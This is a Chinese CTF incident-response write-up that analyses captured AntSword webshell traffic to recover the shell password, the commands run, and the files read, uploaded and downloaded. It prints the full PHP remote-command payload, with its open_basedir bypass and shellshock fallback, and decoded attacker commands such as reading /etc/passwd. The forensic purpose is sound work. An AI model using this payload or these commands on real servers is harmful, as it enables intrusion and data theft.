应急响应之蚁剑流量分析

admin 2023年12月12日02:39:22评论21 views字数 4299阅读14分19秒阅读模式

。EDI

JOIN US ▶▶▶

招新

EDI安全的CTF战队经常参与各大CTF比赛,了解CTF赛事。

欢迎各位师傅加入EDI,大家一起打CTF,一起进步。(诚招re crypto pwn 方向的师傅)有意向的师傅请联系邮箱root@edisec.net、shiyi@edisec.net(带上自己的简历,简历内容包括但不限于就读学校、个人ID、擅长技术方向、历史参与比赛成绩等等。

点击蓝字 ·  关注我们

01

WriteUp

应急响应之蚁剑流量分析

问题1:木马的连接密码是多少

通过后门文件进行持久化攻击,提交参数一般是POST请求

统计HTTP请求

应急响应之蚁剑流量分析

发现可疑文件1.php
导出文件,后门如下
1=@ini_set("display_errors", "0");@set_time_limit(0);$opdir=@ini_get("open_basedir");if($opdir) {$ocwd=dirname($_SERVER["SCRIPT_FILENAME"]);$oparr=preg_split(base64_decode("Lzt8Oi8="),$opdir);@array_push($oparr,$ocwd,sys_get_temp_dir());foreach($oparr as $item) {if(!@is_writable($item)){continue;};$tmdir=$item."/.d53e47c56e78";@mkdir($tmdir);if(!@file_exists($tmdir)){continue;}$tmdir=realpath($tmdir);@chdir($tmdir);@ini_set("open_basedir", "..");$cntarr=@preg_split("/\\|//",$tmdir);for($i=0;$i<sizeof($cntarr);$i++){@chdir("..");};@ini_set("open_basedir","/");@rmdir($tmdir);break;};};;function asenc($out){return $out;};function asoutput(){$output=ob_get_contents();ob_end_clean();echo "2c"."3f5";echo @asenc($output);echo "20"."c49";}ob_start();try{$p=base64_decode(substr($_POST["ma569eedd00c3b"],2));$s=base64_decode(substr($_POST["ucc3f8650c92ac"],2));$envstr=@base64_decode(substr($_POST["e5d0dbe94954b3"],2));$d=dirname($_SERVER["SCRIPT_FILENAME"]);$c=substr($d,0,1)=="/"?"-c "{$s}"":"/c "{$s}"";if(substr($d,0,1)=="/"){@putenv("PATH=".getenv("PATH").":/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin");}else{@putenv("PATH=".getenv("PATH").";C:/Windows/system32;C:/Windows/SysWOW64;C:/Windows;C:/Windows/System32/WindowsPowerShell/v1.0/;");}if(!empty($envstr)){$envarr=explode("|||asline|||", $envstr);foreach($envarr as $v) {if (!empty($v)) {@putenv(str_replace("|||askey|||", "=", $v));}}}$r="{$p} {$c}";function fe($f){$d=explode(",",@ini_get("disable_functions"));if(empty($d)){$d=array();}else{$d=array_map('trim',array_map('strtolower',$d));}return(function_exists($f)&&is_callable($f)&&!in_array($f,$d));};function runshellshock($d, $c) {if (substr($d, 0, 1) == "/" && fe('putenv') && (fe('error_log') || fe('mail'))) {if (strstr(readlink("/bin/sh"), "bash") != FALSE) {$tmp = tempnam(sys_get_temp_dir(), 'as');putenv("PHP_LOL=() { x; }; $c >$tmp 2>&1");if (fe('error_log')) {error_log("a", 1);} else {mail("[email protected]", "", "", "-bv");}} else {return False;}$output = @file_get_contents($tmp);@unlink($tmp);if ($output != "") {print($output);return True;}}return False;};function runcmd($c){$ret=0;$d=dirname($_SERVER["SCRIPT_FILENAME"]);if(fe('system')){@system($c,$ret);}elseif(fe('passthru')){@passthru($c,$ret);}elseif(fe('shell_exec')){print(@shell_exec($c));}elseif(fe('exec')){@exec($c,$o,$ret);print(join("",$o));}elseif(fe('popen')){$fp=@popen($c,'r');while(!@feof($fp)){print(@fgets($fp,2048));}@pclose($fp);}elseif(fe('proc_open')){$p = @proc_open($c, array(1 => array('pipe', 'w'), 2 => array('pipe', 'w')), $io);while(!@feof($io[1])){print(@fgets($io[1],2048));}while(!@feof($io[2])){print(@fgets($io[2],2048));}@fclose($io[1]);@fclose($io[2]);@proc_close($p);}elseif(fe('antsystem')){@antsystem($c);}elseif(runshellshock($d, $c)) {return $ret;}elseif(substr($d,0,1)!="/" && @class_exists("COM")){$w=new COM('WScript.shell');$e=$w->exec($c);$so=$e->StdOut();$ret.=$so->ReadAll();$se=$e->StdErr();$ret.=$se->ReadAll();print($ret);}else{$ret = 127;}return $ret;};$ret=@runcmd($r." 2>&1");print ($ret!=0)?"ret={$ret}":"";;}catch(Exception $e){echo "ERROR://".$e->getMessage();};asoutput();die();&e5d0dbe94954b3=SR&ma569eedd00c3b=38L2Jpbi9zaA==&ucc3f8650c92ac=AkY2QgIi92YXIvd3d3L2h0bWwiO2lkO2VjaG8gZTEyNGJjO3B3ZDtlY2hvIDQzNTIz
通过提交的参数可以看到,连接后门的密码是1

应急响应之蚁剑流量分析

flag{1}

问题2:黑客执行的第一个命令是什么

通过分析POST方式的包,找到按时间顺序的第一个POST包

应急响应之蚁剑流量分析

去掉前面的38,然后进行base64解码,得到
/bin/sh

后面的逐条,删掉前面两位,base64解码,前面两位应该是随机生成的,删掉再base解码。

应急响应之蚁剑流量分析

cd "/var/www/html";id;echo e124bc;pwd;echo 43523

这里通过尝试,执行的第一个命令是id

flag{id}

后面继续分析:

cd "/var/www/html";ls;echo e124bc;pwd;echo 43523cd "/var/www/html";cat /etc/passwd;echo e124bc;pwd;echo 43523/var/www/html/flag.txt/var/www/html//var/www/html/config.php

这里发现了一个flag

应急响应之蚁剑流量分析

问题3:黑客读取了哪个文件的内容,提交文件绝对路径

通过上面的分析,传递的payload当中出现了
cd "/var/www/html";cat /etc/passwd;echo e124bc;pwd;echo 43523

显然是查看了

flag{/etc/passwd}

问题4:黑客上传了什么文件到服务器,提交文件名

flag{flag.txt}

问题5:黑客上传的文件内容是什么

文件内容可以在422条数据中发现:

应急响应之蚁剑流量分析

应急响应之蚁剑流量分析

文件内容是

flag{write_flag}

问题6:黑客下载了哪个文件,提交文件绝对路径

下载文件的流量是606条,在它的返回包中其实也很明显看到,下载的是个配置文件(包含数据库配置)

应急响应之蚁剑流量分析

通过对606的请求包进行分析,发现下载的文件是

flag{/var/www/html/config.php}

备注:

其实通过HTTP响应报文,也可以大致猜测执行了什么指令,如:

应急响应之蚁剑流量分析

显然前面做了列目录操作,返回包返回目录信息。

EDI安全

应急响应之蚁剑流量分析

扫二维码|关注我们

一个专注渗透实战经验分享的公众号


原文始发于微信公众号(EDI安全):应急响应之蚁剑流量分析

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年12月12日02:39:22
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   应急响应之蚁剑流量分析http://cn-sec.com/archives/2288790.html

发表评论

匿名网友 填写信息